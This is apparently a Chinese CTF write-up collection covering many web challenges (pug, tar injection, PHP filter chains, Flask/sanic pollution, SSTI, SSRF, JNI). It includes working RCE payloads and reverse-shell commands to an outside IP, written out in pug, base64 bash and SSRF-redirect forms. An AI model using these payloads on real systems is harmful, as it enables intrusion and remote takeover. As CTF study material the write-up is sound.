[湖湘杯 2021 final]vote

给了源码,导入了pug模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const path              = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();

router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
const { hero } = unflatten(req.body);

if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
return res.json({
'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
});
} else {
return res.json({
'response': 'Please provide us with correct name.'
});
}
});

module.exports = router;

用到了pug模块漏洞rce

https://xz.aliyun.com/t/12635?time__1311=GqGxuDRiiQdiqGN4CxU27D9DfOm1YDgm%3D6YD#toc-5

1
2
3
4
5
{"__proto__.hero":{"name":"奇亚纳"},
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('nc vpsip 9999 -e /bin/sh')"
}}

反弹shell即可

image-20241208195439603

[CISCN 2023 华北]pysym

源码给的还是比较简单的,就一个文件上传功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)

主要看这里,感觉比较可疑

1
os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))

结合这个

1
2
3
4
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)

发现savepath是可控的,上传的时候会先生成一个随机16进制字符串作为目录名,然后把上传的文件’tar –absolute-names -xvf {} -C {}放到 upload/directory下

directory我们控制不了,但是savepath可控,savepath就是文件名哇

况且前面是system,直接||接命令

本来我以为||后跟命令就可以,但是不行

后面看到wp说savepath某些字符会报错,base64可以避免

1
1.tar||echo YmFzaCA+JiAvZGV2L3RjcC8xNDAuMTQzLjE0My4xMzAvOTk5OSAwPiYx | base64 -d | bash||

签到·好玩的PHP

字符123和数字123 md5值相等

还有INF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow {
private $d = '1';
private $s = '2';
private $b = '3';
private $ctf= 123;

public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;

if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;

if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}

$a=new ctfshow();
echo urlencode(serialize($a));

迷雾重重

给了源码,需要审计,菜菜不会

image-20241208215112656

给了4个路由,套的是workerman的壳

本来要去尝试workerman的漏洞,尝试后无果

审吧,看的晨曦佬的博客审计的

令人两个注意的点,返学劣化和Json的view

image-20241208215230629

返序列化无果,看看view

跟进viewimage-20241208215333438

发现他调用和handler的render的方法

接着跟进render

image-20241208215412694

直接查找会出错,用var_dump打印出来

发现 $handlersupport\view\Raw类,这个类在vendor/workerman/webman-framework/src/support/view/Raw.php

image-20241208215940074

image-20241208220127197

存在文件包含

1
{"name":"guest","__template_path__":"/etc/passwd"}

filter链rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
$base64_payload = "PD9waHAgc3lzdGVtKCJjYXQgL3MqIik7Pz4"; /*<?php system("cat /s*");?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";
echo($final_payload);

ez_inject

随便注册一下,看到了chat路由

image-20241210171323833

提示要污染了,结合serct路由

image-20241210172153626

应该是在注册哪里要污染改sercet,再去伪造成大菜鸡师傅

register页面发现可以发送json数据

image-20241210182845847

但是怎么污染key呢

https://xz.aliyun.com/t/13072?time__1311=GqmhBKwKGNDKKYIq7K8x7qAKtY5CmmD#toc-8

可以选择替换key,哪也可以污染路径

污染key

image-20241210183035737

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"username": "111",
"password": "11",
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"q1ngchuan"
}
}
}
}
}

image-20241210183100459

回去登陆

拿到jwt

1
2
3
4
eyJpc19hZG1pbiI6MCwidXNlcm5hbWUiOiIxMTEifQ.Z1gYrA.9DB1_Ue5Sm4r_dTN25RKc00whKY
伪造
flask-unsign --sign --cookie "{'is_admin': 1, 'username': '111'}" --secret 'q1ngchuan'
eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiIxMTEifQ.Z1gZhA.WRDdEmI4XGJ1rp28O8nEno75eu0

image-20241210183457162

妈的,没用啊也,伪造个蛋

用了另一个污染,污染static静态目录,把根目录当静态目录

1
2
3
4
5
6
7
8
9
10
11
12
{
"username": "11111",
"password": "11",
"__init__":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}

}
}

访问/static/flag就可

后面echo框里是个啥嘛ssti

1
cycler["__in"+"it__"]["__glo"+"bals__"]  ["__bui"+"ltins__"].__import__('builtins').open('/flag').read(1)[0]=='c'

贴个官方wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import concurrent.futures

url = "http://7d26c775-19b5-4001-88e3-fbba32c4e64c.challenge.ctf.show/echo"
strings = "qwertyuiopasdfghjklzxcvbnm{}-12334567890"
target = ""

headers = {
"Content-Type": "application/x-www-form-urlencoded",
"cookie":"user=eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiJ0ZXN0In0.ZzC9AQ.hbEoNTSwLImc98ykp0j_EJ_VlnQ"
}


def check_character(i, j, string):
payload = '''
cycler["__in"+"it__"]["__glo"+"bals__"]
["__bui"+"ltins__"].__import__('builtins').open('/flag').read({})[{}]=='{}'
'''.format(j + 1, j, string)
data = {"message": payload}
r = requests.post(url=url, data=data, headers=headers)
return string if r.status_code == 200 and "your answer is True" in r.text else None


with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
for i in range(50):
futures = []
for j in range(50):
for string in strings:
futures.append(executor.submit(check_character, i, j, string))

for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)
target += result
if result == "}":
print(target)
exit()

ezzz_ssti

确实是ssti

就是限制了payload的长度

经典文章

https://blog.csdn.net/weixin_43995419/article/details/126811287

1
2
3
4
5
6
7
{{lipsum.__globals__.os.popen('whoami').read()}}

{{config.update(u=lipsum.__globals__)}}
{{config.update(u=config.u.os.popen)}}
{{config.u("ls /").read()}}
{{config.u("cat /f*").read()}}

简单的文件上传

参考链接:

第一步:

新建一个 NativeLibraryExample 类:

1
2
3
4
5
6
7
8
9
10
11
public class NativeLibraryExample {
// 声明native方法
public native void nativeMethod(String cmd);

public static void main(String[] args) {

NativeLibraryExample example = new NativeLibraryExample();

example.nativeMethod("mate-calc"); // 调用native方法
}
}

使用 javac 对其进行编译:

1
javac NativeLibraryExample.java

得到了 NativeLibraryExample.class 文件

第二步:

使用 javah 生成对应的头文件。

1
2
javah -jni NativeLibraryExample
这里java版本不对可能不行可以用这个 javac -h . NativeLibraryExample.java //生成完记得改名NativeLibraryExample.h

得到 NativeLibraryExample.h

第三步:

编写 C 语言实现,包含上一步生成的 .h 文件:

JniClass.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <jni.h>
#include "NativeLibraryExample.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败

while (!feof(pipe))
{
if (fgets(buffer, sizeof(buffer), pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}


JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod(JNIEnv *env, jobject obj, jstring jstr)

{

const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}

char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();

return cmdresult;
}

第四步:

Linux 下使用的命令进行编译,编译时需要添加 jdk include 目录和 inlcude/linux 目录。

1
gcc -fPIC -I"/usr/lib/jvm/jdk1.8.0_411/include" -I"/usr/lib/jvm/jdk1.8.0_411/include/linux" -shared -o libcmd.so JniClass.c

windows 环境使用如下的命令

1
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o libcmd.dll JniClass.c

修改 NativeLibraryExample 的 main 方法,使用 System.load 将 so 文件加载进来。

1
2
3
4
5
6
7
8
9
10
11
public class NativeLibraryExample {
// 声明native方法
public native void nativeMethod(String cmd);

public static void main(String[] args) {
System.load("/mnt/share/project/ctf_archives/test/test_jni/src/main/java/libNativeLibraryExample.so");
NativeLibraryExample example = new NativeLibraryExample();

example.nativeMethod("mate-calc"); // 调用native方法
}
}

调用 nativeMethod 执行命令。

CISCN2024 simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

半年多了,现在依旧来看这个题依旧觉得难

当时用的是php -r

先查看目录结构

1
du -a  /

并没有发现flag

1
rev /etc/passwd

发现存在mysql用户

image-20241211180459708

猜测flag在数据库中

1
php -r phpinfo();

看到命令可以执行

数据库密码不知道

猜测是root

1
2
3
echo `mysql -u root -p'root' -e 'show databases;'`;
6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b
php -r eval(hex2bin(6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b));

image-20241211181720409

这是会提示报错,字符串解析存在问题,本来用该用引号引起来,但是过滤了单双引号,所以我们得想别的办法,借用substr,截取字符串,substr处理完后返回的数据hex2bin接着处理

1
2
3
4
5
6
7
8
9
10
11
php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b,1)));  前面多加一位进行截取

echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables'`;


echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;show columns from F1ag_Se3Re7;select flag66_2024 from F1ag_Se3Re7;'; `;

php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b757365205048505f434d533b73686f77207461626c65733b73686f7720636f6c756d6e732066726f6d20463161675f5365335265373b73656c65637420666c616736365f323032342066726f6d20463161675f5365335265373b273b20603b,1)));
diff --recursive / /home
dd if=/etc/passwd
mysqldump -uroot -proot --all-databases

CISCN2024 ezcms

https://www.xunruicms.com/bug/

查看历史漏洞发现存在ssrf

image-20241211183906911

但是不知道路径

去看源码

在\dayrui\Fcms\Control\Api\Api.php下找到

image-20241211184834017

一共get4个参数,感觉text和thumb的搞头大一点,size会转int,level有dr_safe_replace

先看看text,也没啥处理过滤啥的哇,没用

看thumb

紧着这下面就是对thumb的处理

image-20241211185343869

dr_catcher_data函数处理,看看dr_catcher_data

image-20241211185445199

看到这个感觉就是这个了,这不明显ssrf方法吗,

接收一个url进行跳转,标准的ssrf。

服务器起一个php服务

挂302跳转的php文件

内容如下

1
<?php header("Location:http://127.0.0.1/flag.php?cmd=nc%20140.143.143.130%209999%20-e%20%2Fbin%2Fsh");?>

image-20241211191643118

CISCN2024 sanic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

这个题当时国赛就没做出来,后面搁置了好久也没去复现,趁着下一届国赛前抓紧复现

sanic框架第一次接触,自然是难甭,得现接触现学

先分析一下源码

1
user.lower() == 'adm;n':

Cookie里是用;分隔的,这里可用8进制绕过

1
user="adm\073n"

image-20241211204319997

拿到session

登录到admin,就是我默默问一句,登录上怎么是这样子

image-20241211205743489

接着看admin路由,waf了key,不允许_.

1
2
3
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)

可以用

1
_\\\\.

可是污染哪里呢

在src路由有__file__,之前有见过python原型链污染

1
{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}

image-20241211210238686

可以看到已经污染成功了,但是污染不了flag,不知道flag在哪里

这也就是这题的考点所在了,需要我们利用污染的方式开启列目录功能,查看根目录下flag的名称,再进行读取

跟着gxn神一起,找找

image-20241211210633194

看着两行注释

image-20241211210832802

这里的 directory_view 参数是一个布尔值,用于决定是否在展示目录时提供一个目录视图。如果设置为 True,则当用户访问一个目录而不是具体文件时,会显示目录内容的列表。

directory_handler 参数是一个可选的 DirectoryHandler 类实例,它允许用户自定义或控制目录处理的行为,例如自定义目录浏览的样式或功能。如果提供了这个参数,它将被用于处理目录请求,而不是使用默认的目录处理器。

这俩主要是控制显示目录的

我们继续跟进directory_handler:

image-20241211211040364

调用了DirectoryHandler类,继续跟进

image-20241211211219262

这里又回到了前面找到的directory_view,Path设置上,directory_view为true,就出初始化,路径设置为你设置的路径,那我们设置path=/,directory_view为true,按理说就可以看到根目录文件了

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)


#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
#return html(open('static/index.html').read())


#@app.route("/login")
#async def login(request):
#user = request.cookies.get("user")
#if user.lower() == 'adm;n':
#request.ctx.session['admin'] = True
#return text("login success")

#return text("login fail")


@app.route("/src")
async def src(request):
eval(request.args.get('a'))
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

#print(app.router.name_index['name'].directory_view)

if __name__ == '__main__':
app.run(host='0.0.0.0')

http://127.0.0.1:8000/src?a=print(app.router.name_index)

1
2
{'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=admin>}
可以看到控制台回显了这个,上面都是我们注册过的路由,我们可以通过前面的键值去访问对应的路由
1
print(app.router.name_index['__mp_main__.static'])
1
2
<Route: name=__mp_main__.static path=static/<__file_uri__:path>>
显示的是src的路由

接下来就是调用DirectoryHandler了

全局搜索name_index

image-20241211212503198

image-20241211212747581

找到这里是系统默认的调用点,我们在这里打个断点开启调式

看到directory_view为false

发现可以从handler入手,一直可以获取到DirectoryHandler中的directory和directory_view

image-20241211212946461

1
print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)

显示false,说明成功获取到了directory_view的值

所以

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

引用:

注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而

1
__mp_main.static

是一个整体,不能分开,我们可以用两个反斜杠来转义就够了

可以看到是污染成功了,访问/static/,可以看到该目录下的文件

接下来只要污染 directory却发现错误了

image-20241211214855907

值就是由其中的 parts 属性决定的,但是由于这个属性是一个 tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的

image-20241211214959905

可以看到directory是一个对象,而它之前的值就是由其中的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的?

回到DirectoryHandler类中

3181170-20240522002809565-592733315

parts的值最后是给了_parts这个属性

1
print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory._parts)
1
['D:\\', 'pycharm', '1', 'pwn', 'static']

看到这是一个list,那么这里很明显我们就可以直接污染了

1
2
3
4
#开启列目录功能
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
#将目录设置在根目录下{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

image-20241211215529542

拿到flag的名称,再去污染就OK了

1
{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}

CISCN2024mossfern

runner.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
def source_simple_check(source):

"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""

from sys import exit
from builtins import print

try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()

for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()


def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""

def audit(event, args):

from builtins import str, print
import os

